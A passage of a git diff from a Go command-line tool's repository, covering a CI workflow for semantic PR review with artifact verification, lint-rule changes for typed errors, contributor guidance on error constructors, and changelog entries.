throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
|
||||
}
|
||||
let prNumber = Number(runPRs[0]?.number || 0);
|
||||
const eventBaseSha = runPRs[0]?.base?.sha || "";
|
||||
const eventHeadSha = runPRs[0]?.head?.sha || "";
|
||||
const targetHeadSha = run.head_sha;
|
||||
if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
|
||||
if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
|
||||
core.notice("semantic review using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
|
||||
}
|
||||
|
||||
const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
|
||||
const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
run_id: run.id,
|
||||
per_page: 100,
|
||||
});
|
||||
const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
|
||||
let factsArtifactName = "";
|
||||
let artifactBaseSha = "";
|
||||
let artifactError = "";
|
||||
if (factsArtifacts.length !== 1) {
|
||||
artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
|
||||
} else {
|
||||
factsArtifactName = factsArtifacts[0].name;
|
||||
const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
|
||||
if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
|
||||
artifactError = "facts artifact head sha does not match verified PR head sha";
|
||||
factsArtifactName = "";
|
||||
} else {
|
||||
artifactBaseSha = parsedBaseSha;
|
||||
if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
|
||||
core.notice("semantic review using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!prNumber) {
|
||||
const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
commit_sha: targetHeadSha,
|
||||
});
|
||||
const candidatePRs = associatedPRs.filter((candidate) =>
|
||||
candidate.base?.repo?.id === context.payload.repository.id &&
|
||||
candidate.head?.sha === targetHeadSha
|
||||
);
|
||||
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
|
||||
if (openCandidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
|
||||
}
|
||||
if (openCandidatePRs.length === 1) {
|
||||
prNumber = openCandidatePRs[0].number;
|
||||
} else if (candidatePRs.length > 0) {
|
||||
core.notice("semantic review skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (!prNumber) {
|
||||
const candidatePRs = await github.paginate(github.rest.pulls.list, {
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
state: "all",
|
||||
per_page: 100,
|
||||
}).then((prs) => prs.filter((candidate) =>
|
||||
candidate.base?.repo?.id === context.payload.repository.id &&
|
||||
candidate.head?.sha === targetHeadSha
|
||||
));
|
||||
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
|
||||
if (openCandidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
|
||||
}
|
||||
if (openCandidatePRs.length === 1) {
|
||||
prNumber = openCandidatePRs[0].number;
|
||||
} else if (candidatePRs.length > 0) {
|
||||
core.notice("semantic review skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
} else {
|
||||
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
|
||||
}
|
||||
}
|
||||
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
|
||||
const { data: pr } = await github.rest.pulls.get({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
pull_number: prNumber,
|
||||
});
|
||||
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
|
||||
if (pr.state !== "open") {
|
||||
core.notice("semantic review skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
if (!pr.head.repo) {
|
||||
core.notice("semantic review skipped: workflow_run target PR head repository is unavailable");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
if (pr.head.sha !== targetHeadSha) {
|
||||
core.notice("semantic review skipped: workflow_run is stale for this PR head");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
|
||||
if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
|
||||
if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
|
||||
core.notice("semantic review skipped: workflow_run is stale for this PR base");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
if (artifactError) {
|
||||
core.warning(`semantic review facts artifact binding is unavailable: ${artifactError}`);
|
||||
}
|
||||
core.setOutput("pr_number", String(prNumber));
|
||||
core.setOutput("head_sha", targetHeadSha);
|
||||
core.setOutput("base_sha", baseSha);
|
||||
core.setOutput("head_owner", pr.head.repo.owner.login);
|
||||
core.setOutput("head_repo", pr.head.repo.name);
|
||||
core.setOutput("head_repo_id", String(pr.head.repo.id));
|
||||
core.setOutput("head_is_base_repo", pr.head.repo.id === context.payload.repository.id ? "true" : "false");
|
||||
core.setOutput("run_id", String(run.id));
|
||||
core.setOutput("facts_artifact_name", factsArtifactName);
|
||||
core.setOutput("artifact_error", artifactError);
|
||||
core.setOutput("stale", "false");
|
||||
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
id: checkout
|
||||
if: ${{ steps.pr.outputs.stale != 'true' }}
|
||||
with:
|
||||
ref: ${{ steps.pr.outputs.base_sha }}
|
||||
persist-credentials: false
|
||||
|
||||
- name: Publish pre-checkout semantic review failure
|
||||
if: ${{ failure() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome != 'success' && steps.pr.outputs.head_sha != '' && steps.pr.outputs.pr_number != '' }}
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
env:
|
||||
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
|
||||
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
|
||||
SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
|
||||
SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
|
||||
SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
|
||||
with:
|
||||
script: |
|
||||
const runtimeBlockMode = process.env.SEMANTIC_REVIEW_BLOCK === "true";
|
||||
const pr = Number(process.env.SEMANTIC_REVIEW_PR_NUMBER || 0);
|
||||
const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
|
||||
const baseSha = process.env.SEMANTIC_REVIEW_BASE_SHA || "";
|
||||
if (!Number.isInteger(pr) || pr <= 0 || !/^[a-f0-9]{40}$/i.test(headSha) || !/^[a-f0-9]{40}$/i.test(baseSha)) {
|
||||
throw new Error("missing verified semantic review target");
|
||||
}
|
||||
const { data: pull } = await github.rest.pulls.get({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
pull_number: pr,
|
||||
});
|
||||
if (pull.state !== "open") {
|
||||
core.notice("semantic review skipped infrastructure failure check: PR is no longer open");
|
||||
return;
|
||||
}
|
||||
if (pull.head.sha !== headSha) {
|
||||
core.notice("semantic review skipped infrastructure failure check: PR head changed");
|
||||
return;
|
||||
}
|
||||
if (pull.base.sha !== baseSha) {
|
||||
core.notice("semantic review skipped infrastructure failure check: PR base changed");
|
||||
return;
|
||||
}
|
||||
if (pull.base.repo.id !== context.payload.repository.id) {
|
||||
throw new Error("PR base repo mismatch before infrastructure failure check");
|
||||
}
|
||||
await github.rest.checks.create({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
name: runtimeBlockMode ? "semantic-review/result" : "semantic-review/observe",
|
||||
head_sha: headSha,
|
||||
status: "completed",
|
||||
conclusion: runtimeBlockMode ? "failure" : "neutral",
|
||||
output: {
|
||||
title: "Semantic review infrastructure failure",
|
||||
summary: "Semantic review could not checkout the verified base commit. Inspect the workflow logs before relying on semantic review output.",
|
||||
},
|
||||
});
|
||||
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
if: ${{ steps.pr.outputs.stale != 'true' }}
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
|
||||
- name: Verify semantic facts artifact metadata
|
||||
id: artifact
|
||||
if: ${{ steps.pr.outputs.stale != 'true' }}
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
with:
|
||||
script: |
|
||||
const run = context.payload.workflow_run;
|
||||
const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
|
||||
if (!/^quality-gate-facts-[a-f0-9]{40}-[a-f0-9]{40}$/i.test(factsArtifactName)) {
|
||||
throw new Error("missing verified facts artifact binding");
|
||||
}
|
||||
const { data } = await github.rest.actions.listWorkflowRunArtifacts({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
run_id: run.id,
|
||||
per_page: 100,
|
||||
});
|
||||
const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
|
||||
if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
|
||||
const artifact = artifacts[0];
|
||||
if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
|
||||
if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
|
||||
throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
|
||||
}
|
||||
if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
|
||||
core.setOutput("artifact_id", String(artifact.id));
|
||||
core.setOutput("artifact_digest", artifact.digest);
|
||||
|
||||
- name: Download facts artifact zip
|
||||
if: ${{ steps.pr.outputs.stale != 'true' }}
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
id: download
|
||||
with:
|
||||
script: |
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
|
||||
if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
|
||||
const { data } = await github.rest.actions.downloadArtifact({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
artifact_id: artifactId,
|
||||
archive_format: "zip",
|
||||
});
|
||||
const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
|
||||
fs.writeFileSync(zipPath, Buffer.from(data));
|
||||
core.setOutput("zip_path", zipPath);
|
||||
|
||||
- name: Verify and extract semantic facts artifact
|
||||
if: ${{ steps.pr.outputs.stale != 'true' }}
|
||||
env:
|
||||
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
|
||||
SEMANTIC_REVIEW_DECISION_OUT: decision.json
|
||||
SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
|
||||
run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
|
||||
|
||||
- name: Download PR semantic waiver config
|
||||
id: waiver_config
|
||||
if: ${{ steps.pr.outputs.stale != 'true' }}
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
env:
|
||||
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
|
||||
SEMANTIC_REVIEW_HEAD_OWNER: ${{ steps.pr.outputs.head_owner }}
|
||||
SEMANTIC_REVIEW_HEAD_REPO: ${{ steps.pr.outputs.head_repo }}
|
||||
SEMANTIC_REVIEW_HEAD_IS_BASE_REPO: ${{ steps.pr.outputs.head_is_base_repo }}
|
||||
with:
|
||||
script: |
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
|
||||
if (!/^[a-f0-9]{40}$/i.test(headSha)) {
|
||||
throw new Error("missing verified semantic review target");
|
||||
}
|
||||
const headOwner = process.env.SEMANTIC_REVIEW_HEAD_OWNER || "";
|
||||
const headRepo = process.env.SEMANTIC_REVIEW_HEAD_REPO || "";
|
||||
if (!headOwner || !headRepo) {
|
||||
throw new Error("missing verified semantic review head repository");
|
||||
}
|
||||
const waiverPath = "internal/qualitygate/config/semantic/waivers.txt";
|
||||
const outPath = path.join(process.env.RUNNER_TEMP, "semantic-review-waivers.txt");
|
||||
const headIsBaseRepo = process.env.SEMANTIC_REVIEW_HEAD_IS_BASE_REPO === "true";
|
||||
if (!headIsBaseRepo) {
|
||||
core.notice("fork PR semantic waiver config is ignored");
|
||||
core.setOutput("path", "");
|
||||
return;
|
||||
}
|
||||
let content = "";
|
||||
try {
|
||||
const { data } = await github.rest.repos.getContent({
|
||||
owner: headOwner,
|
||||
repo: headRepo,
|
||||
path: waiverPath,
|
||||
ref: headSha,
|
||||
});
|
||||
if (Array.isArray(data) || data.type !== "file" || data.encoding !== "base64") {
|
||||
throw new Error(`${waiverPath} is not a base64 file at PR head`);
|
||||
}
|
||||
if (data.size > 256 * 1024) {
|
||||
throw new Error(`${waiverPath} is too large: ${data.size} bytes`);
|
||||
}
|
||||
content = Buffer.from(data.content, "base64").toString("utf8");
|
||||
} catch (err) {
|
||||
if (err.status !== 404) {
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
fs.writeFileSync(outPath, content);
|
||||
core.setOutput("path", outPath);
|
||||
|
||||
- name: Run semantic review
|
||||
id: semantic
|
||||
if: ${{ steps.pr.outputs.stale != 'true' }}
|
||||
env:
|
||||
ARK_API_KEY: ${{ secrets.ARK_API_KEY }}
|
||||
ARK_BASE_URL: ${{ vars.ARK_BASE_URL }}
|
||||
ARK_MODEL: ${{ vars.ARK_MODEL }}
|
||||
ARK_TIMEOUT_SECONDS: ${{ vars.ARK_TIMEOUT_SECONDS }}
|
||||
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
|
||||
run: |
|
||||
args=(
|
||||
--repo .
|
||||
--facts facts.json
|
||||
--decision-out decision.json
|
||||
--markdown-out semantic-review.md
|
||||
)
|
||||
if [ -n "${{ steps.waiver_config.outputs.path }}" ]; then
|
||||
args+=(--waivers-file '${{ steps.waiver_config.outputs.path }}')
|
||||
fi
|
||||
if [ "$SEMANTIC_REVIEW_BLOCK" = "true" ]; then
|
||||
args+=(--block)
|
||||
fi
|
||||
go run ./internal/qualitygate/cmd/semantic-review "${args[@]}"
|
||||
|
||||
- name: Publish semantic review
|
||||
if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
env:
|
||||
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
|
||||
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
|
||||
SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
|
||||
SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
|
||||
SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
|
||||
with:
|
||||
script: |
|
||||
const { publish } = require("./scripts/semantic-review-publish.js");
|
||||
await publish({ github, context, core });
|
||||
13
.gitignore
vendored
13
.gitignore
vendored
@@ -7,6 +7,11 @@ bin/
|
||||
# Node
|
||||
node_modules/
|
||||
|
||||
# Python (skill-bundled helper scripts)
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
@@ -35,6 +40,8 @@ tests/mail/reports/
|
||||
# Generated / test artifacts
|
||||
.hammer/
|
||||
.lark-slides/
|
||||
/notes/
|
||||
/minutes/
|
||||
internal/registry/meta_data.json
|
||||
cmd/api/download.bin
|
||||
app.log
|
||||
@@ -44,3 +51,9 @@ app.log
|
||||
cover*.out
|
||||
|
||||
lark-env.sh
|
||||
/automations/
|
||||
|
||||
# Local-only proof artifacts and coverage reports (never committed)
|
||||
coverage.html
|
||||
tests_e2e/
|
||||
tests_skill_eval/
|
||||
|
||||
@@ -29,11 +29,11 @@ linters:
|
||||
- unused # checks for unused constants, variables, functions and types
|
||||
- depguard # blocks forbidden package imports
|
||||
- forbidigo # forbids specific function calls
|
||||
- errorlint # enforces error wrapping (%w) and errors.Is/As over == and type asserts
|
||||
|
||||
# To enable later after fixing existing issues:
|
||||
# - errcheck # checks for unchecked errors
|
||||
# - errname # checks that error types are named XxxError
|
||||
# - errorlint # checks error wrapping best practices
|
||||
# - gosec # security-oriented linter
|
||||
# - misspell # finds commonly misspelled English words
|
||||
# - staticcheck # comprehensive static analysis
|
||||
@@ -49,9 +49,16 @@ linters:
|
||||
- gocritic
|
||||
- depguard
|
||||
- forbidigo
|
||||
# Paths that run forbidigo. Add an entry when a path joins one of
|
||||
# the rules below.
|
||||
- errorlint # tests legitimately do identity (==) and concrete type-assert checks
|
||||
# forbidigo runs repo-wide (minus the boundaries below) so errs-no-bare-wrap
|
||||
# has no gap. The framework bans (os/vfs, raw HTTP, fmt.Print, filepath,
|
||||
# log) stay scoped to shortcuts/ + internal/ + config/auth/service via the
|
||||
# next rule; elsewhere only errs-no-bare-wrap fires.
|
||||
- path-except: (shortcuts/|internal/|cmd/|events/)
|
||||
linters:
|
||||
- forbidigo
|
||||
- path-except: (shortcuts/|internal/|cmd/auth/|cmd/config/|cmd/service/)
|
||||
text: (vfs|IOStreams|ctx\.Out|shortcuts-no-raw-http|filepath functions|os\.Exit|structured error return)
|
||||
linters:
|
||||
- forbidigo
|
||||
- path: internal/vfs/
|
||||
@@ -65,31 +72,26 @@ linters:
|
||||
- path: shortcuts/.*/internal/gen/
|
||||
linters:
|
||||
- forbidigo
|
||||
# internal/qualitygate/cmd contains standalone CI tools. Their main
|
||||
# entrypoints legitimately own process exit codes and stdio, matching the
|
||||
# old tools/ layout before these packages moved under internal/.
|
||||
- path: internal/qualitygate/cmd/[^/]+/main\.go$
|
||||
linters:
|
||||
- forbidigo
|
||||
# shortcuts-no-raw-http is shortcuts-only; internal/ wraps raw HTTP
|
||||
# for the client / credential layer.
|
||||
- path-except: shortcuts/
|
||||
text: shortcuts-no-raw-http
|
||||
linters:
|
||||
- forbidigo
|
||||
# errs-typed-only enforced on paths already migrated to errs.NewXxxError.
|
||||
# Add a path when its migration is complete.
|
||||
- path-except: (internal/auth/|internal/errcompat/|internal/errclass/|internal/client/|internal/cmdutil/factory\.go|cmd/auth/|cmd/config/|cmd/service/|shortcuts/common/mcp_client\.go|shortcuts/calendar/helpers\.go|shortcuts/drive/|shortcuts/mail/)
|
||||
text: errs-typed-only
|
||||
linters:
|
||||
- forbidigo
|
||||
# errs-no-bare-wrap enforced on paths fully migrated to typed final
|
||||
# errors. Scoped separately from errs-typed-only because cmd/auth/,
|
||||
# cmd/config/ still have residual fmt.Errorf and must not be caught.
|
||||
- path-except: (shortcuts/drive/|shortcuts/mail/|shortcuts/calendar/helpers\.go|shortcuts/common/mcp_client\.go)
|
||||
# errs-no-bare-wrap enforced across every command/wire boundary by
|
||||
# structural prefix, so any future business domain or command is covered
|
||||
# without editing an allowlist. Genuine intermediate wraps inside these
|
||||
# paths use //nolint:forbidigo with a reason.
|
||||
- path-except: (cmd/|shortcuts/|events/)
|
||||
text: errs-no-bare-wrap
|
||||
linters:
|
||||
- forbidigo
|
||||
# errs-no-legacy-helper is scoped to migrated domains: the shared helpers
|
||||
# it bans are still used by other domains until their later migration phase.
|
||||
- path-except: (shortcuts/drive/|shortcuts/mail/)
|
||||
text: errs-no-legacy-helper
|
||||
linters:
|
||||
- forbidigo
|
||||
|
||||
settings:
|
||||
depguard:
|
||||
@@ -108,24 +110,6 @@ linters:
|
||||
Use runtime.FileIO() for file operations or runtime.ValidatePath() for path validation.
|
||||
forbidigo:
|
||||
forbid:
|
||||
# ── legacy output.Err* helpers banned on migrated paths ──
|
||||
# output.ErrBare is intentionally not listed — it is the predicate-
|
||||
# command silent-exit signal, outside the typed envelope contract.
|
||||
- pattern: output\.(ErrValidation|ErrAuth|ErrNetwork|ErrAPI|ErrWithHint|Errorf)\b
|
||||
msg: >-
|
||||
[errs-typed-only] use errs.NewXxxError(...) builder
|
||||
(see errs/types.go).
|
||||
# ── legacy shared error helpers banned on migrated domains ──
|
||||
# These helpers internally produce legacy output.Err* shapes, so they
|
||||
# are invisible to the errs-typed-only ban above. Migrated domains use
|
||||
# typed errs.* builders or domain-local file-I/O helpers instead; this
|
||||
# prevents reintroduction while unmigrated domains continue to use the
|
||||
# shared helpers until their later migration phase.
|
||||
- pattern: (common\.FlagErrorf|common\.WrapInputStatError|common\.WrapSaveErrorByCategory)\b
|
||||
msg: >-
|
||||
[errs-no-legacy-helper] these shared helpers emit legacy output.Err*
|
||||
shapes. Use typed errs.NewXxxError builders or a domain-local
|
||||
file-I/O helper.
|
||||
# ── bare error wraps banned on fully-typed paths ──
|
||||
- pattern: (fmt\.Errorf|errors\.New)\b
|
||||
msg: >-
|
||||
|
||||
@@ -17,6 +17,7 @@ builds:
|
||||
goarch:
|
||||
- amd64
|
||||
- arm64
|
||||
- riscv64
|
||||
|
||||
archives:
|
||||
- name_template: "lark-cli-{{ .Version }}-{{ .Os }}-{{ .Arch }}"
|
||||
|
||||
28
AGENTS.md
28
AGENTS.md
@@ -11,7 +11,7 @@
|
||||
|
||||
```bash
|
||||
make build # Build (runs fetch_meta first)
|
||||
make unit-test # Required before PR (runs with -race)
|
||||
make unit-test # Required before PR (runs with -race where supported, e.g. amd64/arm64)
|
||||
make test # Full: vet + unit + integration
|
||||
```
|
||||
|
||||
@@ -75,7 +75,31 @@ The one rule to internalize: **every error message you write will be parsed by a
|
||||
|
||||
### Structured errors in commands
|
||||
|
||||
`RunE` functions must return `output.Errorf` / `output.ErrWithHint` — never bare `fmt.Errorf`. AI agents parse stderr as JSON; bare errors break this contract.
|
||||
Command-facing failures must be typed `errs.*` errors — never the legacy `output.Err*` helpers and never a final bare `fmt.Errorf`. AI agents parse the stderr envelope's `type` / `subtype` / `param` / `hint` fields to decide their next action; the full taxonomy lives in `errs/ERROR_CONTRACT.md`.
|
||||
|
||||
Picking a constructor:
|
||||
|
||||
| Failure | Constructor |
|
||||
|---------|-------------|
|
||||
| User flag/arg fails validation | `errs.NewValidationError(errs.SubtypeInvalidArgument, ...).WithParam("--flag")` |
|
||||
| Valid request, wrong system state | `errs.NewValidationError(errs.SubtypeFailedPrecondition, ...).WithHint(...)` |
|
||||
| Lark API returned `code != 0` | `runtime.CallAPITyped` (shortcuts) / `errclass.BuildAPIError` (raw responses) — never hand-build |
|
||||
| Network / transport failure | `errs.NewNetworkError(errs.SubtypeNetworkTransport, ...)` |
|
||||
| Local file I/O failure | `errs.NewInternalError(errs.SubtypeFileIO, ...)` — validate the path first (`validate.SafeInputPath` / `SafeOutputPath`) and use `vfs.*` |
|
||||
| Unclassified lower-layer error as final | `errs.NewInternalError(errs.SubtypeUnknown, ...).WithCause(err)` |
|
||||
| Lower layer already returned a typed error | pass it through unchanged — re-wrapping downgrades its classification |
|
||||
|
||||
Signatures that are easy to guess wrong:
|
||||
|
||||
- `runtime.CallAPITyped(method, url string, params map[string]interface{}, data interface{}) (map[string]interface{}, error)` — it performs the HTTP request itself and classifies `code != 0` into a typed error; just return the error it gives you.
|
||||
- Typed pass-through check: `if _, ok := errs.ProblemOf(err); ok { return err }` — `ProblemOf` returns `(*errs.Problem, bool)`, not a nilable pointer.
|
||||
- `.WithParam` exists only on `*errs.ValidationError`. `InternalError` / `NetworkError` have no param field — file or endpoint context goes in the message or `.WithHint(...)`.
|
||||
|
||||
`forbidigo` + `lint/errscontract` reject the legacy `output.Err*` helpers, bare final `fmt.Errorf` / `errors.New`, and legacy envelope literals on migrated paths. Beyond what lint catches, three authoring conventions apply:
|
||||
|
||||
- Preserve the underlying error with `.WithCause(err)` so `errors.Is` / `errors.Unwrap` keep working.
|
||||
- `param` names only the user input that actually failed. Recovery guidance goes in `.WithHint(...)`; machine-readable recovery fields (`missing_scopes`, `log_id`) carry server/system ground truth only — never caller-side guesses.
|
||||
- Error-path tests assert typed metadata via `errs.ProblemOf` (`category` / `subtype` / `param`) and cause preservation, not message substrings alone.
|
||||
|
||||
### stdout is data, stderr is everything else
|
||||
|
||||
|
||||
304
CHANGELOG.md
304
CHANGELOG.md
@@ -2,6 +2,297 @@
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
## [v1.0.61] - 2026-06-30
|
||||
|
||||
### Features
|
||||
|
||||
- **apps**: Add `db`, `file`, `openapi-key` and observability shortcuts (#1596)
|
||||
- **identity**: Add `whoami` command showing effective identity (#1666)
|
||||
- **docs**: Add reference map flags (#1547)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **identity**: Correct identity diagnosis under external credential providers (#1693)
|
||||
- **cli**: Harden git credential error handling (#1676)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **doc**: Guide document copy skill usage (#1673)
|
||||
- **doc**: Fix lark-doc media token examples (#1662)
|
||||
|
||||
## [v1.0.60] - 2026-06-29
|
||||
|
||||
### Features
|
||||
|
||||
- **affordance**: Per-command usage guidance system with markdown source (#1565)
|
||||
- **event**: Support VC meeting lifecycle events (#1632)
|
||||
- **sheets**: Use `office_sheet_file` parent_type for imported office spreadsheets (#1606)
|
||||
- **authorization**: Expand lark-shared auth guidance and assert clean logout JSON (#1598)
|
||||
- **transport**: Add `LARK_CLI_NO_PROXY_WARN` to silence proxy warning (#1647)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **install**: Load `@clack/prompts` via dynamic import to avoid `ERR_REQUIRE_ESM` (#1652)
|
||||
|
||||
### Tests
|
||||
|
||||
- **doc**: Derive fetch test flag defaults from `v2FetchFlags` (#1428)
|
||||
|
||||
### Build
|
||||
|
||||
- **ci**: Reduce public content false positives
|
||||
|
||||
## [v1.0.59] - 2026-06-26
|
||||
|
||||
### Features
|
||||
|
||||
- **slides**: Add `+replace-pages` and `xml get` shortcuts, and expose the presentation URL (#1585)
|
||||
- **minutes**: Support speaker list and no-Lark speaker replace (#1594)
|
||||
- **calendar/vc/minutes**: Optimize and extend calendar, vc, minutes, and note shortcuts and skills (#1571)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **docs**: Hide docs `api-version` compat flag (#1580)
|
||||
|
||||
## [v1.0.58] - 2026-06-25
|
||||
|
||||
### Features
|
||||
|
||||
- **sheets**: Typed table I/O and error contract, workbook import/export, and skill refresh (#1355)
|
||||
- **base**: Add Base URL and title resolve shortcuts (#1338)
|
||||
- **drive**: Add `+member-add` shortcut with wiki space member collection collaborator support (#1204)
|
||||
- **doc**: Support `create` title option (#1536)
|
||||
- **doc**: Add `im-markdown` output format for doc fetch (#1550)
|
||||
- **whiteboard**: Export whiteboard as SVG and update whiteboard via SVG (#1559)
|
||||
- **card**: Support `card.action.trigger` event with auto-fetched card content (#1528)
|
||||
- **task**: Add task event consumer (#1510)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **doc**: Prefix docs resource shortcuts (#1564)
|
||||
- **binding**: Skip unix mode audit on Windows (#1525)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **approval**: Sync approval skill for meta API commands (#1499)
|
||||
- **doc**: Restore lark-doc style requirements (#1579)
|
||||
- **im**: Document `chat.nickname` get/update/delete (#1378)
|
||||
- **im**: Clarify audio message opus requirement (#1271)
|
||||
|
||||
### Build
|
||||
|
||||
- **ci**: Add public content safeguards and reduce false positives
|
||||
|
||||
## [v1.0.57] - 2026-06-23
|
||||
|
||||
### Features
|
||||
|
||||
- **slides**: Add `+screenshot` to capture slide page images (or render a single `<slide>` XML snippet), returning the local file path instead of Base64 (#1358)
|
||||
- **base**: Support record comments (#1043)
|
||||
- **search**: Surface search API notices (#1413)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **mail**: Resolve folder/label filter once per `+triage list` call (#1512)
|
||||
- **meta**: Backfill enum value descriptions from options (#1541)
|
||||
- **cli**: Add missing CLI headers for git credential helper (#1539)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **doc**: Refine rich block, path, and block ID guidance (#1508)
|
||||
- **mail**: Trim lark-mail skill context (#1527)
|
||||
- **drive**: Add permission governance workflow guidance (#1292)
|
||||
|
||||
### Build
|
||||
|
||||
- **ci**: Bind semantic review to workflow run head (#1551)
|
||||
|
||||
## [v1.0.56] - 2026-06-18
|
||||
|
||||
### Features
|
||||
|
||||
- **apps**: Add `+session-messages-list` for session turn reply messages (#1402)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **api**: Align API success envelopes (#1489)
|
||||
- **base**: Reject out-of-range pagination flags (#1495)
|
||||
|
||||
### Refactor
|
||||
|
||||
